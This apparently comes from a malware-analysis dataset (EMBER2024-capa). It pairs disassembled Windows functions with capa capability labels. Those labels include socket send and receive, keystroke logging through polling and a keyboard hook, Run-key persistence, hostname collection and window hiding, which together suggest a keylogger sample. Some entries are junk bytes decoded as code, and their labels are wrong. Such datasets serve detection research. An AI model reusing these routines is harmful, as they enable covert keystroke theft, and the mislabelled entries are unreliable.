joyce8/EMBER2024-capa huggingface dataset:
Function at 0x5f9e1c
Capabilities:
Create tcp socket
Create udp socket

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe8
push ebx
push esi
push edi
mov dword [ebp - 8], ecx
mov edi, edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
cmp byte [eax + 8], 0
je 0x5f9e4d
mov ecx, dword [0x63adcc]
mov dl, 1
mov eax, dword [0x5f73dc]
call fcn.0042e954
call fcn.00409aa8
push 0
push 1
push 2
call sub.wsock32.dll_socket
mov ebx, eax
mov eax, dword [ebp - 4]
mov dword [eax + 4], ebx
inc ebx
jne 0x5f9e7a
mov ecx, dword [0x63ad20]
mov dl, 1
mov eax, dword [0x5f73dc]
call fcn.0042e954
call fcn.00409aa8
xor eax, eax
push ebp
push 0x5f9ef6
push dword fs:[eax]
mov dword fs:[eax], esp
xor ecx, ecx
mov edx, dword [ebp - 4]
mov eax, dword [ebp - 4]
mov si, 0xffff
call fcn.004089bc
cmp byte [ebp + 8], 0
je 0x5f9ed2
mov eax, dword [ebp + 0x10]
push eax
movzx eax, word [ebp + 0xc]
push eax
push 1
lea eax, [ebp - 0x18]
push eax
mov ecx, dword [ebp - 8]
mov edx, edi
mov eax, dword [ebp - 4]
call fcn.005f9c38
mov edi, dword [ebp - 4]
lea esi, [ebp - 0x18]
add edi, 0x18
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov eax, dword [ebp - 4]
call fcn.005f9624
jmp 0x5f9eec
mov eax, dword [ebp + 0x10]
push eax
movzx eax, word [ebp + 0xc]
push eax
push 0
push 1
mov ecx, dword [ebp - 8]
mov edx, edi
mov eax, dword [ebp - 4]
call fcn.005f8fc4
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x5f9f13
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
Function at 0x5fa128
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffff004
push eax
add esp, 0xfffffff0
push ebx
push esi
push edi
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.005f93d4
xor eax, eax
push ebp
push 0x5fa29e
push dword fs:[eax]
mov dword fs:[eax], esp
mov byte [ebp - 5], 0
mov eax, dword [ebp - 4]
cmp dword [eax + 0xc], 0
je 0x5fa286
mov eax, dword [ebp - 4]
cmp dword [eax + 4], 0xffffffff
je 0x5fa174
mov eax, dword [ebp - 4]
cmp byte [eax + 8], 0
jne 0x5fa17e
call fcn.00409b9c
jmp 0x5fa2a5
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0xc]
call fcn.004b7804
mov dword [ebp - 0xc], eax
lea edx, [ebp - 0x1010]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0xc]
mov ecx, 0x1000
mov ebx, dword [eax]
call dword [ebx + 0x18]
mov ebx, eax
test ebx, ebx
jle 0x5fa27b
push 0
push ebx
lea eax, [ebp - 0x1010]
push eax
mov eax, dword [ebp - 4]
mov eax, dword [eax + 4]
push eax
call sub.wsock32.dll_send
mov edi, eax
cmp edi, 0xffffffff
jne 0x5fa22d
call sub.wsock32.dll_WSAGetLastError
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0x2733
je 0x5fa21a
lea eax, [ebp - 0x10]
push eax
mov cl, 1
mov edx, dword [ebp - 4]
mov eax, dword [ebp - 4]
mov si, 0xfffe
call fcn.004089bc
mov eax, dword [ebp - 4]
mov edx, dword [eax + 4]
mov eax, dword [ebp - 4]
mov ecx, dword [eax]
call dword [ecx + 8]
push ebp
call fcn.005fa0e0
pop ecx
mov eax, dword [ebp - 4]
movzx edx, byte [0x5fa2b0]
cmp dl, byte [eax + 0x28]
je 0x5fa282
call fcn.0042e7ec
jmp 0x5fa282
mov eax, dword [ebp - 0xc]
cdq
push edx
push eax
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0xc]
call fcn.004b7824
jmp 0x5fa282
cmp edi, ebx
jge 0x5fa249
mov eax, dword [ebp - 0xc]
add eax, edi
cdq
push edx
push eax
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0xc]
call fcn.004b7824
jmp 0x5fa17e
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0xc]
mov edx, dword [eax]
call dword [edx + 0xc]
push edx
push eax
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0xc]
call fcn.004b7804
cmp edx, dword [esp + 4]
jne 0x5fa26a
cmp eax, dword [esp]
pop edx
pop eax
jne 0x5fa17e
push ebp
call fcn.005fa0e0
pop ecx
jmp 0x5fa282
push ebp
call fcn.005fa0e0
pop ecx
mov byte [ebp - 5], 1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x5fa2a5
mov eax, dword [ebp - 4]
call fcn.005f93dc
pop eax
jmp eax
movzx eax, byte [ebp - 5]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x5fa2e4
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd8
push ebx
push esi
xor ebx, ebx
mov dword [ebp - 0x28], ebx
mov esi, ecx
mov ebx, edx
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x5fa40c
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
call fcn.005f93d4
xor eax, eax
push ebp
push 0x5fa3ed
push dword fs:[eax]
mov dword fs:[eax], esp
xor eax, eax
mov dword [ebp - 8], eax
mov eax, dword [ebp - 4]
cmp byte [eax + 8], 0
jne 0x5fa334
call fcn.00409b9c
jmp 0x5fa3f4
push 0
push esi
push ebx
mov eax, dword [ebp - 4]
mov eax, dword [eax + 4]
push eax
call sub.wsock32.dll_send
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0xffffffff
jne 0x5fa3d5
call sub.wsock32.dll_WSAGetLastError
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0x2733
je 0x5fa3d5
lea eax, [ebp - 0xc]
push eax
mov cl, 1
mov edx, dword [ebp - 4]
mov eax, dword [ebp - 4]
mov si, 0xfffe
call fcn.004089bc
mov eax, dword [ebp - 4]
mov edx, dword [eax + 4]
mov eax, dword [ebp - 4]
mov ecx, dword [eax]
call dword [ecx + 8]
cmp dword [ebp - 0xc], 0
je 0x5fa3d5
lea ecx, [ebp - 0x28]
mov eax, dword [ebp - 0xc]
xor edx, edx
call fcn.0042c8bc
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x24], eax
mov byte [ebp - 0x20], 0x11
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x1c], eax
mov byte [ebp - 0x18], 0
mov eax, 0x5fa428
mov dword [ebp - 0x14], eax
mov byte [ebp - 0x10], 0x11
lea eax, [ebp - 0x24]
push eax
push 2
mov ecx, dword [0x63af5c]
mov dl, 1
mov eax, dword [0x5f73dc]
call fcn.0042ea28
call fcn.00409aa8
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x5fa3f4
mov eax, dword [ebp - 4]
call fcn.005f93dc
pop eax
jmp eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x5fa413
lea eax, [ebp - 0x28]
call fcn.0040a480
pop eax
jmp eax
Function at 0x5fa478
Capabilities:
Receive data
Receive data on socket
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd4
push ebx
push esi
xor ebx, ebx
mov dword [ebp - 0x2c], ebx
mov ebx, ecx
mov esi, edx
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x5fa5ef
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
call fcn.005f93d4
xor eax, eax
push ebp
push 0x5fa5d0
push dword fs:[eax]
mov dword fs:[eax], esp
xor eax, eax
mov dword [ebp - 8], eax
cmp ebx, 0xffffffff
jne 0x5fa4dd
mov eax, dword [ebp - 4]
cmp byte [eax + 8], 0
je 0x5fa4dd
lea eax, [ebp - 8]
push eax
push 0x4004667f
mov eax, dword [ebp - 4]
mov eax, dword [eax + 4]
push eax
call sub.wsock32.dll_ioctlsocket
jmp 0x5fa5b8
mov eax, dword [ebp - 4]
cmp byte [eax + 8], 0
jne 0x5fa4f0
call fcn.00409b9c
jmp 0x5fa5d7
lea eax, [ebp - 0x10]
push eax
push 0x4004667f
mov eax, dword [ebp - 4]
mov eax, dword [eax + 4]
push eax
call sub.wsock32.dll_ioctlsocket
test eax, eax
jne 0x5fa517
cmp dword [ebp - 0x10], 0
jle 0x5fa517
cmp ebx, dword [ebp - 0x10]
jle 0x5fa517
mov ebx, dword [ebp - 0x10]
push 0
push ebx
push esi
mov eax, dword [ebp - 4]
mov eax, dword [eax + 4]
push eax
call sub.wsock32.dll_recv
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0xffffffff
jne 0x5fa5b8
call sub.wsock32.dll_WSAGetLastError
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0x2733
je 0x5fa5b8
lea eax, [ebp - 0xc]
push eax
mov cl, 2
mov edx, dword [ebp - 4]
mov eax, dword [ebp - 4]
mov si, 0xfffe
call fcn.004089bc
mov eax, dword [ebp - 4]
mov edx, dword [eax + 4]
mov eax, dword [ebp - 4]
mov ecx, dword [eax]
call dword [ecx + 8]
cmp dword [ebp - 0xc], 0
je 0x5fa5b8
lea ecx, [ebp - 0x2c]
mov eax, dword [ebp - 0xc]
xor edx, edx
call fcn.0042c8bc
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x28], eax
mov byte [ebp - 0x24], 0x11
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x20], eax
mov byte [ebp - 0x1c], 0
mov eax, 0x5fa60c
mov dword [ebp - 0x18], eax
mov byte [ebp - 0x14], 0x11
lea eax, [ebp - 0x28]
push eax
push 2
mov ecx, dword [0x63af5c]
mov dl, 1
mov eax, dword [0x5f73dc]
call fcn.0042ea28
call fcn.00409aa8
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x5fa5d7
mov eax, dword [ebp - 4]
call fcn.005f93dc
pop eax
jmp eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x5fa5f6
lea eax, [ebp - 0x2c]
call fcn.0040a480
pop eax
jmp eax
Function at 0x5faddc
Capabilities:
Log keystrokes
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffef4
mov byte [ebp - 5], cl
mov word [ebp - 4], dx
mov byte [ebp - 1], al
cmp byte [ebp - 1], 0x90
jne 0x5fae4f
push 0x90
call sub.user32.dll_GetKeyState
and ax, 1
cmp al, 1
sbb eax, eax
inc eax
mov byte [ebp - 0xa], al
lea eax, [ebp - 0x10c]
push eax
call sub.user32.dll_GetKeyboardState
cmp byte [ebp - 0xa], 0
je 0x5fae3a
xor eax, eax
mov al, byte [ebp - 0x7c]
and ax, 0xfffe
movsx eax, ax
cmp eax, 0xff
jbe 0x5fae35
call fcn.004081f4
mov byte [ebp - 0x7c], al
jmp 0x5fae3e
or byte [ebp - 0x7c], 1
lea eax, [ebp - 0x10c]
push eax
call sub.user32.dll_SetKeyboardState
jmp 0x5faf04
push 0
xor eax, eax
mov al, byte [ebp - 1]
push eax
call sub.user32.dll_MapVirtualKeyW
and eax, 0xff
movzx eax, ax
cmp eax, 0xff
jbe 0x5fae70
call fcn.004081f4
mov byte [ebp - 9], al
mov ax, word [ebp - 4]
test ax, ax
jbe 0x5faf04
mov word [ebp - 0xc], ax
mov word [ebp - 8], 1
mov al, byte [ebp - 1]
and eax, 0xff
bt dword [0x639e55], eax
jae 0x5faecd
mov eax, dword [ebp + 8]
push eax
mov ecx, 1
mov dl, byte [ebp - 9]
mov al, byte [ebp - 1]
call fcn.005fad74
pop ecx
cmp byte [ebp - 5], 0
je 0x5faefa
mov eax, dword [ebp + 8]
push eax
mov ecx, 3
mov dl, byte [ebp - 9]
mov al, byte [ebp - 1]
call fcn.005fad74
pop ecx
jmp 0x5faefa
mov eax, dword [ebp + 8]
push eax
xor ecx, ecx
mov dl, byte [ebp - 9]
mov al, byte [ebp - 1]
call fcn.005fad74
pop ecx
cmp byte [ebp - 5], 0
je 0x5faefa
mov eax, dword [ebp + 8]
push eax
mov ecx, 2
mov dl, byte [ebp - 9]
mov al, byte [ebp - 1]
call fcn.005fad74
pop ecx
inc word [ebp - 8]
dec word [ebp - 0xc]
jne 0x5fae8a
mov esp, ebp
pop ebp
ret

Function at 0x5faf08
Capabilities:
Log keystrokes

Disassembly:
push ebp
mov ebp, esp
push ecx
mov byte [ebp - 1], al
push 0
xor eax, eax
mov al, byte [ebp - 1]
push eax
call sub.user32.dll_MapVirtualKeyW
and eax, 0xff
movzx eax, ax
cmp eax, 0xff
jbe 0x5faf30
call fcn.004081f4
mov byte [ebp - 2], al
mov al, byte [ebp - 1]
and eax, 0xff
bt dword [0x639e55], eax
jae 0x5faf59
mov eax, dword [ebp + 8]
push eax
xor ecx, ecx
mov dl, byte [ebp - 2]
mov al, byte [ebp - 1]
call fcn.005fad74
pop ecx
pop ecx
pop ebp
ret
mov eax, dword [ebp + 8]
push eax
mov ecx, 2
mov dl, byte [ebp - 2]
mov al, byte [ebp - 1]
call fcn.005fad74
pop ecx
pop ecx
pop ebp
ret
Function at 0x5ffbe4
Capabilities:
Encode data using xor

Disassembly:
push ebx
push esi
push edi
mov edi, ecx
mov esi, edx
mov ebx, eax
cmp byte [0x6431ec], 0
jne 0x5ffbfb
call fcn.005ffba0
mov eax, edi
dec eax
test eax, eax
jl 0x5ffc23
inc eax
xor edx, edx
movzx ecx, byte [esi + edx]
xor ecx, ebx
and ecx, 0xff
mov ecx, dword [ecx*4 + 0x642dec]
shr ebx, 8
xor ecx, ebx
mov ebx, ecx
inc edx
dec eax
jne 0x5ffc05
mov eax, ebx
pop edi
pop esi
pop ebx
ret
Function at 0x602cf0
Capabilities:
Encode data using xor

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xfffffff4
mov ebx, eax
movzx eax, byte [ebx + 0x48]
mov eax, dword [ebx + eax*4 + 0x40]
movzx eax, byte [eax]
dec al
je 0x602d21
dec al
je 0x602d5c
dec al
je 0x602da0
dec al
je 0x602e12
jmp 0x602ead
mov esi, dword [ebx + 0x24]
inc esi
mov edi, dword [ebx + 0x20]
sub edi, esi
jb 0x602ead
inc edi
mov edx, esi
sub edx, dword [ebx + 0x24]
movzx ecx, byte [ebx + 0x48]
mov ecx, dword [ebx + ecx*4 + 0x40]
movzx edx, byte [ecx + edx]
movzx eax, byte [ebx + 0x48]
mov eax, dword [ebx + eax*4 + 0x40]
add dl, byte [eax + esi]
and dl, 0xff
mov byte [eax + esi], dl
inc esi
dec edi
jne 0x602d31
jmp 0x602ead
mov edi, dword [ebx + 0x20]
test edi, edi
jbe 0x602ead
mov esi, 1
movzx eax, byte [ebx + 0x48]
mov edx, eax
xor dl, 1
and edx, 0x7f
mov edx, dword [ebx + edx*4 + 0x40]
movzx edx, byte [edx + esi]
movzx ecx, al
mov ecx, dword [ebx + ecx*4 + 0x40]
add dl, byte [ecx + esi]
and dl, 0xff
and eax, 0x7f
mov eax, dword [ebx + eax*4 + 0x40]
mov byte [eax + esi], dl
inc esi
dec edi
jne 0x602d6c
jmp 0x602ead
mov edi, dword [ebx + 0x20]
test edi, edi
jbe 0x602ead
mov esi, 1
movzx eax, byte [ebx + 0x48]
xor al, 1
and eax, 0x7f
mov eax, dword [ebx + eax*4 + 0x40]
movzx eax, byte [eax + esi]
mov edx, dword [ebx + 0x24]
mov ecx, esi
dec ecx
cmp edx, ecx
jbe 0x602dd3
xor edx, edx
mov dword [esp + 4], edx
jmp 0x602de8
mov edx, esi
sub edx, dword [ebx + 0x24]
movzx ecx, byte [ebx + 0x48]
mov ecx, dword [ebx + ecx*4 + 0x40]
movzx edx, byte [ecx + edx]
mov dword [esp + 4], edx
movzx edx, byte [ebx + 0x48]
mov ebp, dword [ebx + edx*4 + 0x40]
movzx edx, byte [ebp + esi]
add eax, dword [esp + 4]
sar eax, 1
jns 0x602e00
adc eax, 0
add dl, al
and dl, 0xff
mov byte [ebp + esi], dl
inc esi
dec edi
jne 0x602db0
jmp 0x602ead
xor eax, eax
mov dword [esp + 4], eax
xor eax, eax
mov dword [esp + 8], eax
mov edi, dword [ebx + 0x20]
test edi, edi
jbe 0x602ead
mov esi, 1
movzx eax, byte [ebx + 0x48]
xor al, 1
and eax, 0x7f
mov eax, dword [ebx + eax*4 + 0x40]
movzx eax, byte [eax + esi]
mov edx, dword [ebx + 0x24]
mov ecx, esi
dec ecx
cmp edx, ecx
ja 0x602e79
mov edx, esi
sub edx, dword [ebx + 0x24]
movzx ecx, byte [ebx + 0x48]
mov ecx, dword [ebx + ecx*4 + 0x40]
movzx edx, byte [ecx + edx]
mov dword [esp + 4], edx
movzx edx, byte [ebx + 0x48]
xor dl, 1
and edx, 0x7f
mov edx, dword [ebx + edx*4 + 0x40]
mov ecx, esi
sub ecx, dword [ebx + 0x24]
movzx edx, byte [edx + ecx]
mov dword [esp + 8], edx
movzx edx, byte [ebx + 0x48]
mov edx, dword [ebx + edx*4 + 0x40]
movzx edx, byte [edx + esi]
mov dword [esp], edx
movzx ecx, byte [esp + 8]
push eax
movzx eax, byte [esp + 8]
pop edx
call fcn.005ffc2c
movzx edx, byte [ebx + 0x48]
mov edx, dword [ebx + edx*4 + 0x40]
add al, byte [esp]
and al, 0xff
mov byte [edx + esi], al
inc esi
dec edi
jne 0x602e2e
add esp, 0xc
pop ebp
pop edi
pop esi
pop ebx
ret
Function at 0x60b31c
Capabilities:
Check for software breakpoints

Disassembly:
push ebx
mov ebx, eax
cmp dword [ebx + 0x14], 0xca
jne 0x60b34a
mov eax, ebx
call fcn.0060bdd8
cmp dword [ebx + 0x40], 0
je 0x60b343
mov dword [ebx + 0x14], 0xcf
mov eax, 1
pop ebx
ret
mov dword [ebx + 0x14], 0xcb
cmp dword [ebx + 0x14], 0xcb
jne 0x60b3bb
mov edx, dword [ebx + 0x1b4]
cmp dword [edx + 0x10], 0
je 0x60b3ad
cmp dword [ebx + 8], 0
je 0x60b36c
mov eax, ebx
mov edx, dword [eax + 8]
call dword [edx]
mov eax, ebx
mov edx, dword [eax + 0x1b4]
call dword [edx]
test eax, eax
jne 0x60b37e
xor eax, eax
pop ebx
ret
cmp eax, 2
je 0x60b3ad
cmp dword [ebx + 8], 0
je 0x60b35f
cmp eax, 3
je 0x60b391
dec eax
jne 0x60b35f
mov edx, dword [ebx + 8]
inc dword [edx + 4]
mov ecx, dword [edx + 4]
mov eax, dword [ebx + 8]
cmp ecx, dword [eax + 8]
jl 0x60b35f
mov edx, dword [ebx + 0x140]
add dword [eax + 8], edx
jmp 0x60b35f
mov ecx, dword [ebx + 0x90]
mov dword [ebx + 0x98], ecx
jmp 0x60b3d9
cmp dword [ebx + 0x14], 0xcc
je 0x60b3d9
mov eax, dword [ebx]
mov dword [eax + 0x14], 0x14
mov edx, dword [ebx + 0x14]
mov dword [eax + 0x18], edx
mov eax, ebx
mov edx, dword [eax]
call dword [edx]
mov eax, ebx
call fcn.0060b3e4
pop ebx
ret

Function at 0x61f214
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
mov dword [ebp - 4], eax
mov dword [ebp - 0xc], 0xff
mov eax, 0xff
call fcn.00406e4c
mov dword [ebp - 8], eax
xor eax, eax
push ebp
push 0x61f26f
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 8]
push eax
mov eax, dword [ebp - 0xc]
push eax
call sub.kernel32.dll_GetTempPathW
mov eax, dword [ebp - 4]
mov edx, dword [ebp - 8]
call fcn.0040aff4
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x61f276
mov eax, dword [ebp - 8]
call fcn.00406e68
pop eax
jmp eax
Function at 0x620308
Capabilities:
Get hostname

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd4
mov dword [ebp - 4], eax
mov dword [ebp - 8], 0x11
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x2a]
push eax
call sub.kernel32.dll_GetComputerNameW
test eax, eax
je 0x620336
mov edx, dword [ebp - 4]
lea eax, [ebp - 0x2a]
call fcn.00427fa0
jmp 0x620343
mov eax, dword [ebp - 4]
mov edx, 0x620354
call fcn.0040a870
mov esp, ebp
pop ebp
ret

Function at 0x620528
Capabilities:
Log keystrokes via application hook

Disassembly:
push ebp
mov ebp, esp
push ecx
mov dword [ebp - 4], eax
mov eax, dword [0x63b0a0]
mov eax, dword [eax]
mov eax, dword [eax + 0x484]
mov dl, 1
call fcn.00545c00
mov edx, 0xd77800
mov eax, dword [0x63b0a0]
mov eax, dword [eax]
call fcn.00545ed8
mov edx, 0xd77800
mov eax, dword [0x63b0a0]
mov eax, dword [eax]
mov eax, dword [eax + 0x484]
call fcn.00545ed8
mov eax, dword [0x63b0a0]
mov eax, dword [eax]
mov eax, dword [eax + 0x498]
mov dl, 1
call fcn.00581388
mov eax, dword [ebp - 4]
call fcn.0061f920
push 0
mov eax, dword [0x63f63c]
push eax
push 0x620370
push 0xd
call sub.user32.dll_SetWindowsHookExW
mov dword [0x64329c], eax
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x448]
xor edx, edx
call fcn.005fa8ec
push 0xc8
call sub.kernel32.dll_Sleep
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x448]
mov dl, 1
call fcn.005fa8ec
pop ecx
pop ebp
ret

Function at 0x6229d8
Capabilities:
Persist via run registry key

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov dl, 1
mov eax, dword [0x504ca0]
call fcn.00505fec
mov dword [ebp - 0x10], eax
mov edx, 0x80000001
mov eax, dword [ebp - 0x10]
call fcn.005060d4
xor ecx, ecx
mov edx, 0x622a40
mov eax, dword [ebp - 0x10]
call fcn.00506230
mov ecx, dword [ebp - 0xc]
mov edx, dword [ebp - 8]
mov eax, dword [ebp - 0x10]
call fcn.00506b90
mov eax, dword [ebp - 0x10]
call fcn.005060a4
mov eax, dword [ebp - 0x10]
call fcn.004085e8
mov esp, ebp
pop ebp
ret

Function at 0x622a9c
Capabilities:
Persist via run registry key

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov dl, 1
mov eax, dword [0x504ca0]
call fcn.00505fec
mov dword [ebp - 0x10], eax
mov edx, 0x80000001
mov eax, dword [ebp - 0x10]
call fcn.005060d4
xor ecx, ecx
mov edx, 0x622b04
mov eax, dword [ebp - 0x10]
call fcn.00506230
mov ecx, dword [ebp - 0xc]
mov edx, dword [ebp - 8]
mov eax, dword [ebp - 0x10]
call fcn.00506b90
mov eax, dword [ebp - 0x10]
call fcn.005060a4
mov eax, dword [ebp - 0x10]
call fcn.004085e8
mov esp, ebp
pop ebp
ret
Function at 0x401000
Capabilities:
Encode data using xor

Disassembly:
push ecx
pcmpeqw mm6, mm6
pxor mm7, mm7
push edx
psllw mm6, 0xf
push edi
mov ecx, dword [esp + 0x10]
mov edx, dword [esp + 0x14]
mov edi, dword [esp + 0x18]
mov eax, dword [esp + 0x1c]
movq mm1, qword [edx]
sub eax, 4
movq mm0, mm1
psrlq mm1, 0x20
jl 0x4010e4
jmp 0x401040
movq mm3, qword [edx + 8]
add edi, 8
punpckldq mm1, mm3
movq mm4, qword [ecx]
paddd mm0, mm1
pxor mm4, mm6
movq mm1, qword [edx + 0x10]
movq mm5, mm4
punpcklwd mm4, mm7
movq mm2, mm3
psrlq mm3, 0x20
paddd mm0, mm2
punpckldq mm3, mm1
psubd mm0, mm4
paddd mm2, mm1
punpckhwd mm5, mm7
paddd mm3, mm2
pslld mm4, 4
psubd mm3, mm5
pslld mm5, 4
psubd mm4, mm0
pcmpeqd mm7, mm7
psubd mm5, mm3
pslld mm7, 0x12
movq mm2, mm6
paddd mm4, mm7
psrld mm2, 0x1c
paddd mm5, mm7
movq mm3, mm2
psrld mm7, 0x1e
pand mm2, mm4
paddd mm4, mm7
psrld mm2, 3
pand mm3, mm5
paddd mm5, mm7
psrld mm3, 3
paddd mm4, mm2
paddd mm5, mm3
psrad mm4, 3
add edx, 0x10
psrad mm5, 3
add ecx, 8
packssdw mm4, mm5
movq mm0, mm1
pxor mm7, mm7
psrlq mm1, 0x20
sub eax, 4
movq qword [edi - 8], mm4
jge 0x401040
add eax, 4
jle 0x401185
movq mm3, qword [edx + 8]
punpckldq mm1, mm3
movq mm4, qword [ecx]
paddd mm0, mm1
pxor mm4, mm6
movq mm1, qword [edx + 0x10]
movq mm5, mm4
punpcklwd mm4, mm7
movq mm2, mm3
psrlq mm3, 0x20
paddd mm0, mm2
punpckldq mm3, mm1
psubd mm0, mm4
paddd mm2, mm1
punpckhwd mm5, mm7
pcmpeqd mm7, mm7
paddd mm3, mm2
pslld mm4, 4
psubd mm3, mm5
pslld mm5, 4
psubd mm4, mm0
pslld mm7, 0x12
psubd mm5, mm3
psrld mm6, 0x1c
paddd mm4, mm7
movq mm0, mm6
paddd mm5, mm7
psrld mm7, 0x1e
pand mm6, mm4
paddd mm4, mm7
psrld mm6, 3
pand mm0, mm5
paddd mm5, mm7
psrld mm0, 3
paddd mm4, mm6
paddd mm5, mm0
psrad mm4, 3
psrad mm5, 3
packssdw mm4, mm5
cmp eax, 2
jl 0x40117f
movd dword [edi], mm4
je 0x401185
psrlq mm4, 0x20
add edi, 4
movd edx, mm4
mov word [edi], dx
emms
pop edi
pop edx
pop ecx
ret

Function at 0x441ef8
Capabilities:
Encode data using xor

Disassembly:
test byte [edx - 0x74a79dff], 0xa9
jbe 0x441eda
jmp 0x8842bb44
push esp
adc al, 0xdc
ja 0x441f2d
cli
inc ebx
xchg ebp, eax
jle 0x441e7b
mov ebp, dword [ebx]
pop ebx
jp 0x441eba
pushal
jmp 0x441f06
adc eax, 0xa2769381
and al, 0x61
mov esi, 0x8da7d997
pop esp
xchg esp, eax
insd dword es:[edi], dx
xor eax, 0x4ead1f3f
dec esi
fldenv [edi - 5]
jnp 0x441eff
mov edx, ds
or al, 0x99
push 0x13
jp 0x441ec6
cdq
imul edi, edi, 0x4e1a0e87
or ch, dh
das
mov byte [0xadeffa95], al
mov byte [0x93e80c1c], al
arpl word [esi], dx
outsb dx, byte [esi]
rep outsb dx, byte [esi]
mov al, 0x19
invalid

Function at 0x45be99
Capabilities:
Encode data using xor

Disassembly:
jmp 0x45be89
nop edi, eax
fmul dword [eax - 0x39213c83]
and dword [ebx - 0x58cac081], ebp
mov bl, 0x70
jo 0x45bee7
jo 0x45bee7
jns 0x45be67
sub dword [ebx + 0xbba3514], esi
retf
pop ebx
invalid
Function at 0x627cd9
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
mov edx, dword [ebp + 8]
xor ecx, ecx
mov eax, 0x6303a8
cmp edx, dword [eax]
je 0x627cfb
add eax, 8
inc ecx
cmp eax, 0x630438
jl 0x627cec
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword [esi + 0x6303a8]
jne 0x627e29
mov eax, dword [0x639d30]
cmp eax, 1
je 0x627e03
test eax, eax
jne 0x627d2c
cmp dword [0x6302d4], 1
je 0x627e03
cmp edx, 0xfc
je 0x627e29
lea eax, [ebp - 0x1a4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x627d63
lea eax, [ebp - 0x1a4]
push str._program_name_unknown_
push eax
call fcn.006286c0
pop ecx
pop ecx
lea eax, [ebp - 0x1a4]
push edi
push eax
lea edi, [ebp - 0x1a4]
call fcn.00628b50
inc eax
pop ecx
cmp eax, 0x3c
jbe 0x627da6
lea eax, [ebp - 0x1a4]
push eax
call fcn.00628b50
mov edi, eax
lea eax, [ebp - 0x1a4]
sub eax, 0x3b
push 3
add edi, eax
push 0x62ca3c
push edi
call fcn.0062aa20
add esp, 0x10
lea eax, [ebp - 0xa0]
push str.Runtime_Error__n_nProgram:
push eax
call fcn.006286c0
lea eax, [ebp - 0xa0]
push edi
push eax
call fcn.006286d0
lea eax, [ebp - 0xa0]
push 0x62ca1c
push eax
call fcn.006286d0
push dword [esi + 0x6303ac]
lea eax, [ebp - 0xa0]
push eax
call fcn.006286d0
push 0x12010
lea eax, [ebp - 0xa0]
push str.Microsoft_Visual_C_Runtime_Library
push eax
call fcn.0062a994
add esp, 0x2c
pop edi
jmp 0x627e29
lea eax, [ebp + 8]
lea esi, [esi + 0x6303ac]
push 0
push eax
push dword [esi]
call fcn.00628b50
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop esi
leave
ret

Function at 0x402890
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 8]
mov dword [0x404207], eax
push 0
mov ecx, dword [ebp + 8]
push ecx
push 0
push 0
push 0
push 0x80000000
push 0
push 0x80000000
push 0xcf0000
push str.Myalmiut
push str.Dinates
push 0
call dword [sym.imp.USER32.dll_CreateWindowExW]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x4028d8
xor eax, eax
jmp 0x4028f3
push 0
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.USER32.dll_ShowWindow]
